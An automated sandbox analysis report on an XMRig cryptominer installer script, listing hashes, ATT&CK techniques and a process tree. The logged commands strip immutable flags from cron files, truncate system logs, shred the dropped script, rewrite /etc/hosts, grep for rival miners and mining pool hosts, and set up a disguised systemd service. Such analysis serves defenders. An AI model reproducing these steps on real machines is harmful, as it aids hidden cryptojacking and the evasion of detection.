xmrig | a05ae38215701251380abe446784ce542c6e3023ec68411d51babe1becc7dcbc

Analysis

max time kernel
22s
max time network
139s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/08/2026, 19:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.sh
Size 71KB
Sample260808-xtfmqsfb74
SHA256 a05ae38215701251380abe446784ce542c6e3023ec68411d51babe1becc7dcbc
MD5 dd2d6fcbad96eeec633ce79c41cba237
SHA1 7a596f7d60c2a09e3697682cc938fd8341001de0
SHA512 7d7b4d70518a54115bf8888bc4f0b413ed13278e8bde299b6544f5a32203d5aec09a2d12e8317063ca0cf54a107efb3907a4d13f133a8270e8daa8fba4d8ebe9
SSDEEP 768:6OYwcTtmv50fiqfQO96/wtgizPjUcDVcv4z/Ntrw1iqWgAVyUPVGTbf:9Yu0f3YgDVcv4pqbf
TLSH
T1B463A6B2B560C1703969C16C678B41503A49703B356C382874AFB52CBFDC758A1FABBE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-11.dat	family_xmrig
behavioral2/files/fstream-11.dat	xmrig

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
992	chmod
993	chmod
994	chmod
995	chmod

Indicator Removal: File Deletion 1 TTPs 1 IoCs

Adversaries may remove indicators of compromise from the host to evade detection.

defense_evasion

File Deletion

T1070.004

pid	Process
1197	shred

Deletes system logs 1 TTPs 2 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/syslog	install.sh
File truncated	/var/log/messages	install.sh

Modifies the /etc/hosts DNS resolution file 1 TTPs 2 IoCs

Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/hosts	install.sh
File opened for modification	/etc/hosts	cp

Deletes log files 1 TTPs 5 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/wtmp	install.sh
File truncated	/var/log/btmp	install.sh
File truncated	/var/log/lastlog	install.sh
File truncated	/var/log/auth.log	install.sh
File truncated	/var/log/kern.log	install.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/ssl-compat.service	install.sh

Removes the immutable protection flag from a file 1 TTPs 9 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
669	chattr
672	chattr
674	chattr
946	apt-get
946	apt-get
946	apt-get
946	apt-get
675	chattr
945	timeout

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 48 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/18/cmdline	pgrep
File opened for reading	/proc/565/cmdline	pgrep
File opened for reading	/proc/103/status	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/585/status	pgrep
File opened for reading	/proc/138/status	pgrep
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/94/status	pgrep
File opened for reading	/proc/28/status	pgrep
File opened for reading	/proc/19/status	pgrep
File opened for reading	/proc/138/status	pgrep
File opened for reading	/proc/294/status	pgrep
File opened for reading	/proc/73/cmdline	pgrep
File opened for reading	/proc/640/cmdline	pgrep
File opened for reading	/proc/626/cmdline	pgrep
File opened for reading	/proc/279/cmdline	pgrep
File opened for reading	/proc/305/cmdline	pgrep
File opened for reading	/proc/578/cmdline	pgrep
File opened for reading	/proc/41/cmdline	pgrep
File opened for reading	/proc/584/status	pgrep
File opened for reading	/proc/5/cmdline	pgrep
File opened for reading	/proc/14/cmdline	pgrep
File opened for reading	/proc/137/cmdline	pgrep
File opened for reading	/proc/309/status	pgrep
File opened for reading	/proc/12/status	pgrep
File opened for reading	/proc/5/cmdline	pgrep
File opened for reading	/proc/275/status	pgrep
File opened for reading	/proc/19/status	pgrep
File opened for reading	/proc/106/status	pgrep
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/303/cmdline	pgrep
File opened for reading	/proc/25/cmdline	pgrep
File opened for reading	/proc/73/cmdline	pgrep
File opened for reading	/proc/10/cmdline	pgrep
File opened for reading	/proc/11/status	pgrep
File opened for reading	/proc/22/cmdline	pgrep
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/17/status	pgrep
File opened for reading	/proc/25/cmdline	pgrep
File opened for reading	/proc/25/cmdline	pgrep
File opened for reading	/proc/634/status	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/640/status	pgrep
File opened for reading	/proc/309/cmdline	pgrep
File opened for reading	/proc/565/cmdline	pgrep
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/275/cmdline	pgrep
File opened for reading	/proc/664/cmdline	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/10/status	pgrep
File opened for reading	/proc/25/status	pgrep
File opened for reading	/proc/9/status	pgrep
File opened for reading	/proc/632/status	pgrep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/584/cmdline	pgrep
File opened for reading	/proc/19/status	pgrep
File opened for reading	/proc/303/status	pgrep
File opened for reading	/proc/19/status	pgrep
File opened for reading	/proc/28/cmdline	pgrep

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.dcrn.643	install.sh
File opened for modification	/tmp/fileutl.message.eYDVm2	apt-cache
File opened for modification	/tmp/fileutl.message.AfOrMZ	apt-cache
File opened for modification	/tmp/fileutl.message.6DnOrQ	apt-get
File opened for modification	/tmp/fileutl.message.EB96um	apt-get
File opened for modification	/tmp/install.sh	shred
File opened for modification	/tmp/.crn.643	install.sh
File opened for modification	/tmp/fileutl.message.OkxnzX	apt-cache
File opened for modification	/tmp/fileutl.message.oVwPBS	apt-cache
File opened for modification	/tmp/fileutl.message.E1DkTz	apt-get
File opened for modification	/tmp/fileutl.message.WuKxr7	apt-get
File opened for modification	/tmp/sh-thd.Ijk8NF	install.sh
File opened for modification	/tmp/fileutl.message.URLJQV	apt-cache
File opened for modification	/tmp/fileutl.message.2CpGWj	apt-cache
File opened for modification	/tmp/fileutl.message.6ZeAWv	apt-cache
File opened for modification	/tmp/sh-thd.2opVzM	install.sh
File opened for modification	/tmp/fileutl.message.GHIRAL	apt-cache

Software Deployment Tools 1 TTPs 1 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
946	apt-get

/tmp/install.sh
/tmp/install.sh
1⤵
- Deletes system logs
- Modifies the /etc/hosts DNS resolution file
- Deletes log files
- Modifies systemd
- Writes file to tmp directory
PID:643
- /usr/bin/dirname
  dirname /tmp/install.sh
  2⤵
  PID:654
- /usr/bin/basename
  basename /tmp/install.sh
  2⤵
  PID:657
- /usr/bin/id
  id -u
  2⤵
  PID:661
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:669
- /usr/bin/chattr
  chattr -R -ia /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:672
- /usr/bin/chattr
  chattr -R -ia /etc/cron.d
  2⤵
  - Removes the immutable protection flag from a file
  PID:674
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron/crontabs
  2⤵
  - Removes the immutable protection flag from a file
  PID:675
- /usr/bin/pgrep
  pgrep -f /dev/shm/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:678
- /usr/bin/pgrep
  pgrep -f /dev/shm/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:680
- /usr/bin/pgrep
  pgrep -f /dev/shm/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:683
- /usr/bin/pgrep
  pgrep -f /dev/shm/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:685
- /usr/bin/pgrep
  pgrep -f /dev/shm/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:687
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:689
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/cron
  2⤵
  - Reads CPU attributes
  PID:691
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:693
- /usr/bin/pgrep
  pgrep -f /etc/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:695
- /usr/bin/pgrep
  pgrep -f /etc/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:697
- /usr/bin/pgrep
  pgrep -f /etc/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:699
- /usr/bin/pgrep
  pgrep -f /etc/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:701
- /usr/bin/pgrep
  pgrep -f /etc/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:703
- /usr/bin/pgrep
  pgrep -f /tmp/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:705
- /usr/bin/pgrep
  pgrep -f /tmp/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:707
- /usr/bin/pgrep
  pgrep -f /tmp/kworker
  2⤵
  - Reads CPU attributes
  PID:709
- /usr/bin/pgrep
  pgrep -f /tmp/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:711
- /usr/bin/pgrep
  pgrep -f /tmp/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:713
- /usr/bin/pgrep
  pgrep -f /var/tmp/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:717
- /usr/bin/pgrep
  pgrep -f /var/tmp/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:721
- /usr/bin/pgrep
  pgrep -f /var/tmp/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:726
- /usr/bin/pgrep
  pgrep -f /app/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:731
- /usr/bin/pgrep
  pgrep -f /app/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:736
- /usr/bin/pgrep
  pgrep -f /app/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:741
- /usr/bin/pgrep
  pgrep -f /app/gitea/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:745
- /usr/bin/pgrep
  pgrep -f /app/gitea/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:750
- /usr/bin/pgrep
  pgrep -f /app/gitea/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:755
- /usr/bin/pgrep
  pgrep -f /app/gitea/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:759
- /usr/bin/pgrep
  pgrep -f /app/gitea/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:764
- /usr/bin/pgrep
  pgrep -f /data/gitea/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:770
- /usr/bin/pgrep
  pgrep -f /data/gitea/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:778
- /usr/bin/pgrep
  pgrep -f /data/gitea/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:784
- /usr/bin/pgrep
  pgrep -x javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:787
- /usr/bin/pgrep
  pgrep -x javab
  2⤵
  - Reads CPU attributes
  PID:789
- /usr/bin/pgrep
  pgrep -f "\\./XX[A-Za-z]"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:792
- /usr/bin/pgrep
  pgrep -f esocket4
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:794
- /usr/bin/pgrep
  pgrep -f /tmp/bobs
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:796
- /usr/bin/pgrep
  pgrep -f "[a-z]+-[0-9a-f]{8}"
  2⤵
  - Reads CPU attributes
  PID:798
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_sys_health"
  2⤵
  - Reads CPU attributes
  PID:800
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_cron_health"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:802
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_"
  2⤵
  - Reads CPU attributes
  PID:804
- /usr/bin/pgrep
  pgrep -f -- "\\.\\/lol"
  2⤵
  - Reads CPU attributes
  PID:806
- /usr/bin/pgrep
  pgrep -f -- --donate-level
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:808
- /usr/bin/pgrep
  pgrep -x unicorn
  2⤵
  - Reads CPU attributes
  PID:810
- /usr/bin/pgrep
  pgrep -x lol
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:812
- /bin/rm
  rm -f /etc/cron.d/javaa
  2⤵
  PID:813
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:814
- /bin/grep
  grep -qiE "kworker|javaa|ksmd|javab" /tmp/.crn.643
  2⤵
  PID:815
- /bin/rm
  rm -f /tmp/.crn.643
  2⤵
  PID:816
- /usr/bin/id
  id -u
  2⤵
  PID:817
- /bin/grep
  grep -qF 34.70.205.211 /etc/hosts
  2⤵
  PID:818
- /bin/grep
  grep -qF 69.30.251.156 /etc/hosts
  2⤵
  PID:819
- /bin/grep
  grep -qF kworker.eth.limo /etc/hosts
  2⤵
  PID:820
- /bin/grep
  grep -qF kworker.eth.link /etc/hosts
  2⤵
  PID:823
- /bin/grep
  grep -qF 216.98.10.60 /etc/hosts
  2⤵
  PID:824
- /usr/bin/pgrep
  pgrep -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:828
- /usr/bin/pgrep
  pgrep -f ccminer
  2⤵
  - Reads CPU attributes
  PID:832
- /usr/bin/pgrep
  pgrep -f SRBMiner-MULTI
  2⤵
  - Reads CPU attributes
  PID:837
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:841
- /bin/grep
  grep -qF universal-mine-watchdog /tmp/.dcrn.643
  2⤵
  PID:843
- /bin/rm
  rm -f /tmp/.dcrn.643
  2⤵
  PID:845
- /usr/bin/id
  id -u
  2⤵
  PID:846
- /bin/grep
  grep -qF gulf.moneroocean.stream /etc/hosts
  2⤵
  PID:849
- /bin/grep
  grep -qF verushash.eu.mine.zpool.ca /etc/hosts
  2⤵
  PID:850
- /usr/bin/id
  id -u
  2⤵
  PID:852
- /bin/grep
  grep -qE "docker|containerd|kubepods" /proc/1/cgroup
  2⤵
  PID:854
- /bin/grep
  grep -qE "^....i"
  2⤵
  PID:858
- /usr/bin/lsattr
  lsattr /etc/hosts
  2⤵
  PID:857
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:861
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:864
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:867
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:870
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:873
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:876
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:878
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:881
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:884
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:887
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:890
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:892
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:894
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:896
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:898
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:900
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:902
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:904
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:906
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:908
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:910
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:912
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:914
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:916
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:918
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:920
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:922
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:924
- /bin/cat
  cat
  2⤵
  PID:925
- /usr/bin/stat
  stat -c "%a" /etc/hosts
  2⤵
  PID:927
- /bin/cp
  cp /etc/hosts.xmon.643 /etc/hosts
  2⤵
  - Modifies the /etc/hosts DNS resolution file
  PID:928
- /bin/chmod
  chmod 644 /etc/hosts
  2⤵
  PID:929
- /bin/rm
  rm -f /etc/hosts.xmon.643
  2⤵
  PID:930
- /bin/grep
  grep -qE "docker|containerd|kubepods" /proc/1/cgroup
  2⤵
  PID:931
- /usr/bin/timeout
  timeout 5 systemctl is-active --quiet ssl-compat
  2⤵
  PID:932
- - /usr/local/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:933
- - /usr/local/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:933
- - /usr/sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:933
- - /usr/bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:933
- - /sbin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    PID:933
- - /bin/systemctl
    systemctl is-active --quiet ssl-compat
    3⤵
    - Enumerates kernel/hardware configuration
    PID:933
- /usr/bin/id
  id -u
  2⤵
  PID:934
- /usr/bin/id
  id -u
  2⤵
  PID:935
- /sbin/modprobe
  modprobe msr
  2⤵
  PID:936
- /usr/bin/apt-cache
  apt-cache show libbpf1
  2⤵
  - Writes file to tmp directory
  PID:937
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:938
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:939
- /usr/bin/apt-cache
  apt-cache show libelf1t64
  2⤵
  - Writes file to tmp directory
  PID:940
